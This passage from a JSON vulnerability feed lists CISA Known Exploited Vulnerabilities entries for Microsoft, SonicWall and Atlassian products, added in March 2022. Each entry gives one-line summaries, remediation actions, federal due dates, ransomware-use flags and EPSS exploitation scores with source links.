CVE-2015-2426","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2426 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2426&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2426, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0040","cveId":"CVE-2016-0040","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"The kernel in Microsoft Windows allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24283,"percentile":0.97848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0151","cveId":"CVE-2016-0151","aliases":[],"kind":"vulnerability","title":"Microsoft Windows CSRSS Security Feature Bypass Vulnerability","summary":"The Client-Server Run-time Subsystem (CSRSS) in Microsoft mismanages process tokens, which allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Client-Server Run-time Subsystem (CSRSS)","stacks":["Microsoft Windows","Microsoft","Client-Server Run-time Subsystem (CSRSS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.62943,"percentile":0.99192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0151","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0151 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0189","cveId":"CVE-2016-0189","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"The Microsoft JScript nd VBScript engines, as used in Internet Explorer and other products, allow attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94062,"percentile":0.99845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0189","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0189 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7200","cveId":"CVE-2016-7200","aliases":[],"kind":"vulnerability","title":"Microsoft Edge Memory Corruption Vulnerability","summary":"The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Edge","stacks":["Microsoft Edge","Microsoft","Edge"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82779,"percentile":0.99666,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7200","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7200 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7201","cveId":"CVE-2016-7201","aliases":[],"kind":"vulnerability","title":"Microsoft Edge Memory Corruption Vulnerability","summary":"The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Edge","stacks":["Microsoft Edge","Microsoft","Edge"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.80004,"percentile":0.99611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7201","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7201 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0037","cveId":"CVE-2017-0037","aliases":[],"kind":"vulnerability","title":"Microsoft Edge and Internet Explorer Type Confusion Vulnerability","summary":"Microsoft Edge and Internet Explorer have a type confusion vulnerability in mshtml.dll, which allows remote code execution.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Edge and Internet Explorer","stacks":["Microsoft Edge","Microsoft","Edge and Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.80386,"percentile":0.99618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0037&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0037","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0037 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0037&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0037, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0059","cveId":"CVE-2017-0059","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Information Disclosure Vulnerability","summary":"Microsoft Internet Explorer allow remote attackers to obtain sensitive information from process memory via a crafted web site.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61968,"percentile":0.99169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0059","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0059 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0213","cveId":"CVE-2017-0213","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"Microsoft Windows COM Aggregate Marshaler allows for privilege escalation when an attacker runs a specially crafted application.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84258,"percentile":0.99695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0213&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0213","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0213 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0213&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0213, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8405","cveId":"CVE-2018-8405","aliases":[],"kind":"vulnerability","title":"Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability","summary":"An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"DirectX Graphics Kernel (DXGKRNL)","stacks":["Microsoft","DirectX Graphics Kernel (DXGKRNL)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03444,"percentile":0.88909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8405","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8405 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8406","cveId":"CVE-2018-8406","aliases":[],"kind":"vulnerability","title":"Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability","summary":"An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"DirectX Graphics Kernel (DXGKRNL)","stacks":["Microsoft","DirectX Graphics Kernel (DXGKRNL)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03444,"percentile":0.88909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8406","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8406 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8440","cveId":"CVE-2018-8440","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"An elevation of privilege vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC).","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1853,"percentile":0.97229,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8440&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8440","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8440 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8440&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8440, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7483","cveId":"CVE-2019-7483","aliases":[],"kind":"vulnerability","title":"SonicWall SMA100 Directory Traversal Vulnerability","summary":"In SonicWall SMA100, an unauthenticated Directory Traversal vulnerability in the handleWAFRedirect CGI allows the user to test for the presence of a file on the server.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA100","stacks":["SonicWall","SMA100"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0401,"percentile":0.90479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7483","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7483 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20028","cveId":"CVE-2021-20028","aliases":[],"kind":"vulnerability","title":"SonicWall Secure Remote Access (SRA) SQL Injection Vulnerability","summary":"SonicWall Secure Remote Access (SRA) products contain an improper neutralization of a SQL Command leading to SQL injection.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"Secure Remote Access (SRA)","stacks":["SonicWall","Secure Remote Access (SRA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30084,"percentile":0.98201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20028","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20028 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26085","cveId":"CVE-2021-26085","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Server Pre-Authorization Arbitrary File Read Vulnerability","summary":"Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a pre-authorization arbitrary file read vulnerability in the /s/ endpoint.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Server","stacks":["Atlassian","Confluence Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99937,"percentile":0.99971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26085","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26085 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-34486","cveId":"CVE-2021-34486","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Event Tracing Privilege Escalation Vulnerability","summary":"Microsoft Windows Event Tracing contains an unspecified vulnerability which can allow for privilege escalation.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor 